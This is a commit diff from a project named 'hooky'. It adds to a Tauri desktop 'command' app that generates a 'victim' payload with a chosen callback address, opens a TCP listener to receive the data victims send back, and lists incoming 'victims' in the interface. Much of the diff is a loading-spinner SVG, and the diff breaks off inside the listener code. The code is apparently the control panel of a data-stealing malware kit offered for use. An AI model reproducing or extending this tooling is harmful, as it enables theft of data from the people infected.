~/hooky

c1f59a62d1de1d2ccfdbc72dd49742f6b323a03b — Arthur Melton 335dec98 2 years ago
can get the data sent
M command/public/glue.js => command/public/glue.js +6 -2
@@ 1,8 1,12 @@

const invoke = window.__TAURI__.invoke

export async function invokeGen(features, payload, sendTo) {
  return await invoke(
      "gen", {features : features, payload : payload, sendTo : sendTo});
  document.getElementById("GenCover").style.display = "block";
  document.getElementById("setup").style.display = "none";
  await invoke("gen",
               {features : features, payload : payload, sendTo : sendTo});
  document.getElementById("GenCover").style.display = "none";
  document.getElementById("dashboard").style.display = "block";
}

export async function isOn(

A command/public/loading.svg +403 -0
@@ 0,0 1,403 @@

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<g transform="rotate(0 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.99s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(3.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.98s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(7.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.97s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(10.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.96s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(14.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.95s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(18 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.94s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(21.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.93s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(25.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.92s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(28.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.91s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(32.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.9s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(36 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.89s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(39.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.88s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(43.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.87s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(46.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.86s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(50.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.85s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(54 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.84s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(57.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.83s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(61.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.82s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(64.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.81s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(68.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.8s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(72 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.79s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(75.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.78s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(79.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.77s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(82.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.76s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(86.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.75s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(90 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.74s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(93.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.73s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(97.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.72s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(100.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.71s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(104.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.7s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(108 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.69s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(111.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.68s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(115.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.67s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(118.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.66s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(122.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.65s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(126 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.64s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(129.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.63s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(133.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.62s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(136.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.61s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(140.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.6s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(144 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.59s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(147.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.58s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(151.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.57s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(154.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.56s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(158.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.55s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(162 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.54s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(165.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.53s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(169.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.52s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(172.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.51s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(176.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.5s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(180 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.49s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(183.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.48s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(187.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.47s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(190.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.46s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(194.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.45s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(198 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.44s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(201.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.43s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(205.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.42s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(208.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.41s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(212.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.4s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(216 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.39s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(219.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.38s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(223.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.37s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(226.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.36s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(230.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.35s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(234 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.34s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(237.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.33s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(241.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.32s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(244.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.31s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(248.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.3s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(252 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.29s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(255.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.28s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(259.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.27s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(262.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.26s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(266.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.25s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(270 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.24s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(273.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.23s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(277.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.22s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(280.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.21s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(284.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.2s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(288 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.19s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(291.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.18s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(295.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.17s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(298.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.16s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(302.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.15s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(306 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.14s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(309.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.13s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(313.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.12s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(316.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.11s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(320.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.1s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(324 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.09s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(327.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.08s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(331.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.07s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(334.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.06s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(338.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.05s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(342 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.04s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(345.6 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.03s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(349.2 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.02s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(352.8 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.01s" repeatCount="indefinite"></animate>
  </rect>
</g><g transform="rotate(356.4 50 50)">
  <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="0s" repeatCount="indefinite"></animate>
  </rect>
</g>
</svg>

A command/public/main.js +19 -0
@@ 0,0 1,19 @@

const invoke = window.__TAURI__.invoke

async function code() {
  document.getElementById("victim_exe").innerHTML =
      await invoke("victim_payload", {});
  while (true) {
    var get_new = await invoke("get_new", {});
    for (let i in get_new) {
      document.getElementById("victims").innerHTML =
          `<pre>${JSON.stringify(get_new[i], null, "\t")}</pre>` +
          document.getElementById("victims").innerHTML;
    }
    await sleep(5000);
  }
}

function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); }

code();

M command/src-tauri/Cargo.toml => command/src-tauri/Cargo.toml +3 -0
@@ 18,7 18,10 @@ serde_json = "1.0"

serde = { version = "1.0", features = ["derive"] }
tauri = { version = "1.2", features = ["dialog-open", "shell-open"] }
config = { path = "../../config" }
data = { path = "../../data" }
toml = "0.5.10"
lazy_static = "1.4.0"
bincode = "1.3.3"

[features]
# by default Tauri runs in production mode

M command/src-tauri/src/main.rs => command/src-tauri/src/main.rs +60 -3
@@ 3,10 3,22 @@

    windows_subsystem = "windows"
)]

#[macro_use]
extern crate lazy_static;

use std::process::Command;
use config::Config;
use data::Sends;
use std::fs::File;
use std::io::Write;
use std::io::{Write, Read};
use std::net::TcpListener;
use std::thread;
use std::sync::{Mutex, Arc};

lazy_static! {
    pub static ref HOOKS: Arc<Mutex<Vec<Sends>>> = Arc::new(Mutex::new(Vec::new()));
    pub static ref INDEX: Arc<Mutex<usize>> = Arc::new(Mutex::new(0));
}

#[tauri::command]
fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {

@@ 19,7 31,7 @@ fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {

    path.push("config.toml");
    let config = Config {
        payload: payload.clone(),
        send_to,
        send_to: send_to.clone(),
    };
    let mut file = File::create(path.clone()).unwrap();
    file.write_all(toml::to_string(&config).unwrap().as_bytes()).unwrap();

@@ 39,11 51,56 @@ fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {

            .current_dir(&path.display().to_string())
            .output()
            .expect("failed to execute process");

    thread::spawn(move || {
        let listener = TcpListener::bind(format!("0.0.0.0:{}", send_to.split(':').nth(1).unwrap()) ).unwrap();
        for stream in listener.incoming() {
            thread::spawn(move || {
                let mut stream = stream.unwrap();
